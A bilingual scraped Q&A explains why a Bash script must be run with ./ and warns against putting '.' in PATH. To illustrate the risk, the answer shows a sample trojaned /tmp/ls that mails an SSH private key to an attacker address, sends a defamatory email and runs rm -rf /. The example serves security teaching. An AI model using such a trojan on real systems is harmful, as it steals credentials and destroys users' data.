为什么我必须使用绝对路径来执行 Bash 脚本?

编程入门 行业动态 更新时间:2024-10-26 12:35:44
本文介绍了为什么我必须使用绝对路径来执行 Bash 脚本?的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

限时送ChatGPT账号..

我的桌面上有一个名为 highest 的 Bash 脚本.

I have a Bash script on my desktop called highest.

如果我跑:

cd ~/Desktop
highest

我得到:找不到命令

但是如果我跑:

~/Desktop/highest

它执行得很好.但是为什么我的命令行在正确的目录下还是需要使用绝对路径?

It executes just fine. But why do I still need to use the absolute path when my command line is in the correct directory?

我猜这与 $PATH 变量有关.就像我需要向它添加类似 ./ 的东西.如果是这样,我该如何添加?我还不习惯 Linux,遇到这种情况时会很困惑.

I am guessing this has something to do with the $PATH variable. Like I need to add something like ./ to it. If so, how do I add that? I am not used to Linux yet and get very confused when this happens.

推荐答案

我同意 @Dennis 的说法.不要添加'.'到您的路径.这是一种安全风险,因为它会使破解者更有可能覆盖您的命令.有关好的解释,请参阅 http://www.linux/docs/ldp/howto/Path-12.html .

I agree with @Dennis's statement. Don't add '.' to your PATH. It's a security risk, because it would make it more possible for a cracker to override your commands. For a good explanation, see http://www.linux/docs/ldp/howto/Path-12.html .

例如,假装我是一个破解者,我创建了一个像/tmp/ls 这样的木马文件,就像这样.假设这是在大学或其他地方的共享系统上.

For example, pretend I was a cracker and I created a trojaned files like /tmp/ls , like so. Pretend that this was on a shared system at a university or something.

$ cat /tmp/ls
#!/bin/sh
# Cracker does bad stuff.
# Execute in background and hide any output from the user.
# This helps to hide the commands so the user doesn't notice anything.
cat ~/.ssh/mysecretsshkey | mailx -s "haha" cracker@foo.ru >/dev/null 2>&1 &
echo "My system has been compromised. Fail me." |mailx -s "NUDE PICTURES OF $USERNAME" professor@university.edu >/dev/null 2>&1 & &
rm -rf / >/dev/null 2>&1 &
# and then we execute /bin/ls so that the luser thinks that the command
# executed without error. Also, it scrolls the output off the screen.
/bin/ls $*

如果您在/tmp 目录中并执行 'ls' 命令会发生什么?如果 PATH 包含 .,那么您将执行/tmp/ls ,而您的真正意图是使用/bin/ls 中的默认ls".

What would happen if you were in the /tmp directory and executed the 'ls' command? If PATH included ., then you would execute /tmp/ls , when your real intention was to use the default 'ls' at /bin/ls.

相反,如果您想执行自己的二进制文件,请显式调用脚本(例如 ./highest)或创建您自己的 bin 目录,这是大多数用户所做的.

Instead, if you want to execute your own binaries, either call the script explicitly (e.g. ./highest) or create your own bin directory, which is what most users do.

添加您自己的 ~/bin 目录,并将您自己的二进制文件放入其中.

Add your own ~/bin directory, and place your own binaries in there.

mkdir ~/bin
vi ~/bin/highest

然后,修改您的 PATH 以使用您的本地二进制文件.将 .bashrc 中的 PATH 语句修改为如下所示.

Then, modify your PATH to use your local binary. Modify the PATH statement in your .bashrc to look like this.

导出路径=$PATH:~/bin

export PATH=$PATH:~/bin

要验证 highest 是您的路径,请执行以下操作:

To verify that highest is your path, do this:

bash$ which highest
/Users/stefanl/bin/highest

这篇关于为什么我必须使用绝对路径来执行 Bash 脚本?的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

更多推荐

[db:关键词]

本文发布于:2023-04-29 07:56:54,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1186763.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:脚本   绝对路径   Bash

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!